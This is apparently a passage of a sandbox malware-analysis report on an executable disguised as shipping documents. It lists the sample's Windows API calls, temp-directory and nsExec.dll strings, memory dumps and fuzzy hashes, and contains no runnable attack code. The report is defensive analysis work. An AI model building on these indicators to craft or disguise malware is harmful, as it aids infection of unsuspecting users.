Function 00402955 Relevance: 9.1, APIs: 6, Instructions: 91memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 004029B6
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029D2
GlobalFree.KERNEL32(?), ref: 00402A0B
GlobalFree.KERNEL32(00000000), ref: 00402A1E
CloseHandle.KERNEL32(?,?,?,?,?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A3A
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,000000F0), ref: 00402A4D

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction ID: 9240dae09012554c896714223f9a1d047de53ad28ef79bac3653223f28d0231c
Opcode Fuzzy Hash: 67fe96262b9617a6657bb77028f4b0069242132a66e071a854657c6cce135934
Instruction Fuzzy Hash: 3931AD71D00124BBCF21AFA5CE89D9E7E79AF49324F10423AF521762E1CB794D419BA8

Function 00405F2E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

Part of subcall function 00405ED1: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405EDF
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EE4
Part of subcall function 00405ED1: CharNextW.USER32(00000000), ref: 00405EFC

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405F87
GetFileAttributesW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 00405F97

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405F2E
4#v, xrefs: 00405F30
C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 00405F34, 00405F39, 00405F3F, 00405F80, 00405F86, 00405F8E, 00405F96

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 4#v$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsi1309.tmp
API String ID: 3248276644-4229099359
Opcode ID: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction ID: 0bce86d1d95a7c790b53086ee47358a3377499fb664fcb231eb74dc800c81f90
Opcode Fuzzy Hash: 7c21406a6ebf8fc224ae0ccc6b020e70a1639b7280e68367676f2d78d50147cb
Instruction Fuzzy Hash: 7AF0F43A105E1269D622733A5C09AAF1555CE86360B5A457BFC91B22C6CF3C8A42CCBE

Function 00401D86 Relevance: 7.6, APIs: 5, Instructions: 75windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D9F
GetClientRect.USER32(?,?), ref: 00401DEA
LoadImageW.USER32(?,?,?,?,?,?), ref: 00401E1A
SendMessageW.USER32(?,00000172,?,00000000), ref: 00401E2E
DeleteObject.GDI32(00000000), ref: 00401E3E

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction ID: ff9804e90d7d2423da96771145ec8c84d1acc30631874d8c14b803c0354ed8c3
Opcode Fuzzy Hash: 5a50ccc3029d5fde6ea81844b1e337cdf63f6177f9f2d7308e11f2af529302b6
Instruction Fuzzy Hash: 73210772900119AFCB05DF98EE45AEEBBB5EF08314F14003AF945F62A0D7789D81DB98

Function 00401E53 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E56
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E70
MulDiv.KERNEL32(00000000,00000000), ref: 00401E78
ReleaseDC.USER32(?,00000000), ref: 00401E89
CreateFontIndirectW.GDI32(0040CDF0), ref: 00401ED8

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction ID: a825ad976d3f878f3d1ae6f085165680ecf176d60430839047bda31eedf7821d
Opcode Fuzzy Hash: ecb0f290f5c1122776e84f7afc2181d255ab8ed52f1adad26d3dddab1dbe2d45
Instruction Fuzzy Hash: 62017571905240EFE7005BB4EE49BDD3FA4AB15301F10867AF541B61E2C7B904458BED

Function 00404D83 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042CA68,0042CA68,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404E24
wsprintfW.USER32 ref: 00404E2D
SetDlgItemTextW.USER32(?,0042CA68), ref: 00404E40

Strings

%u.%u%s%s, xrefs: 00404E0E

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction ID: 0fe25742dfe6cfa92c38baccc724587d3b65f537d6828788df476db8ac6fa50e
Opcode Fuzzy Hash: 2c674a3dc48973326ebd454f1002488dce618ddc5f98b18a2ee0300ee1e706a4
Instruction Fuzzy Hash: B111EB336042283BDB109A6DAC45E9E329CDF85374F250237FA65F71D1E978DC2282E8

Function 00405ED1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,?,00405F45,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"), ref: 00405EDF
CharNextW.USER32(00000000), ref: 00405EE4
CharNextW.USER32(00000000), ref: 00405EFC

Strings

C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 00405ED2

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsi1309.tmp
API String ID: 3213498283-3576001853
Opcode ID: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction ID: 143c5bdbadb979d876a68ad22b5e9fde56015454fa81a7c55dbcd1e73dec783f
Opcode Fuzzy Hash: a019630038ff328a8ec37a6ad8a5e0fa1ea3fa9b42c133706ff5938ffc5cdd25
Instruction Fuzzy Hash: 03F09072D04A2395DB317B649C45B7756BCEB587A0B54843BE601F72C0DBBC48818ADA

Function 00405E26 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E2C
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040351F,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405E36
lstrcatW.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00405E48

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405E26

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3936084776
Opcode ID: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction ID: dcb1dcffde27bcde4b46a4bd7655c85b8e924b1ae314dab144fc932f30a80b76
Opcode Fuzzy Hash: 1ad634ba4b40e47f3a67f9c69e663da68b942b7adec5edae9754e9c2c01f4b37
Instruction Fuzzy Hash: 9DD0A731501534BAC212AB54AD04DDF62AC9F46344381443BF141B30A5C77C5D51D7FD

Function 00402643 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 65stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll), ref: 0040269A

Strings

C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll, xrefs: 0040265E, 00402683, 00402695, 004026E1
C:\Users\user\AppData\Local\Temp\nsi1309.tmp, xrefs: 00402688

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: lstrlen
String ID: C:\Users\user\AppData\Local\Temp\nsi1309.tmp$C:\Users\user\AppData\Local\Temp\nsi1309.tmp\nsExec.dll
API String ID: 1659193697-3689442400
Opcode ID: 968f49f8d356fad33376679beb12f00283f02b2e5d5c32db5a7590a3cc778f05
Instruction ID: 71653ae2733df7adc71dfdbaa34589fb2472b89c06e6b839d1f3baa03dac964a
Opcode Fuzzy Hash: 968f49f8d356fad33376679beb12f00283f02b2e5d5c32db5a7590a3cc778f05
Instruction Fuzzy Hash: E011E772A40205BBCB00ABB19E56AAE7671AF50748F21443FF402B71C1EAFD4891565E

Function 0040301E Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004031FC,00000001), ref: 00403031
GetTickCount.KERNEL32 ref: 0040304F
CreateDialogParamW.USER32(0000006F,00000000,00402F98,00000000), ref: 0040306C
ShowWindow.USER32(00000000,00000005), ref: 0040307A

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction ID: 9291db8f65f8f9a8906298ccab22143765a9ea5c3e1cf5a275661437a5304794
Opcode Fuzzy Hash: 3e0f77edca3fe8d4731edd858be8c75d6ac57a75eac47466490e255ad15c8a0f
Instruction Fuzzy Hash: 22F08970602A21AFC6306F50FE09A9B7F68FB45B52B51053AF445B11ACCB345C91CB9D

Function 00405550 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 0040557F
CallWindowProcW.USER32(?,?,?,?), ref: 004055D0

Part of subcall function 00404522: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404534

Strings

, xrefs: 00405560

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction ID: 994decb8795c597c60d879b60f38f30bda4d2919c1ffc13ce94f3a2918c86729
Opcode Fuzzy Hash: 831ed5cf29225e66f7bf56ab76169cd98d2ca93c2364028159cf8fc7ca140134
Instruction Fuzzy Hash: 1C01717120060CBFEF219F11DD84A9B3B67EB84794F144037FA41761D5C7398D529A6D

Function 6FE81948 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

CharNextExA.USER32(?,0000000A,00000000,6FE830B8,?,6FE816EA,?,00000002,00000002,0000000A), ref: 6FE81974

Strings

, xrefs: 6FE8195C
, xrefs: 6FE81964

Memory Dump Source

Source File: 00000000.00000002.2153670485.000000006FE81000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FE80000, based on PE: true

Associated: 00000000.00000002.2153651950.000000006FE80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153686664.000000006FE82000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153704607.000000006FE83000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153723885.000000006FE84000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fe80000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: CharNext
String ID: $
API String ID: 3213498283-227171996
Opcode ID: bc7e8b98023c9ada11283eeb0a35410fa21bb8c9d436d133f542956f939d57e4
Instruction ID: 2998c5211304112072dd6cd35d258ba60c85a0f2d6639b027acd9b613298cbf6
Opcode Fuzzy Hash: bc7e8b98023c9ada11283eeb0a35410fa21bb8c9d436d133f542956f939d57e4
Instruction Fuzzy Hash: 69F01C311083CA9ADF11DF54C824BEA7FA9AF16248F540458FDA48B282C775E629C7A1

Function 00403B94 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,76233420,00000000,C:\Users\user\AppData\Local\Temp\,00403B6C,00403A82,?,?,00000008,0000000A,0000000C), ref: 00403BAE
GlobalFree.KERNEL32(00000000), ref: 00403BB5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403B94

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3936084776
Opcode ID: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction ID: cb28855b84c3abb27e6c937247341fa4f051846acd49e0d4b6103447305c23c4
Opcode Fuzzy Hash: 522759d04011631da2fa13ba2704cf46823a2ab452b41ebb0ecea140ccdeae61
Instruction Fuzzy Hash: 5DE0C23362083097C6311F55EE04B1A7778AF89B2AF01402AEC407B2618B74AC538FCC

Function 00405E72 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 00405E78
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,004030EE,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,80000000,00000003), ref: 00405E88

Strings

C:\Users\user\Desktop, xrefs: 00405E72

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
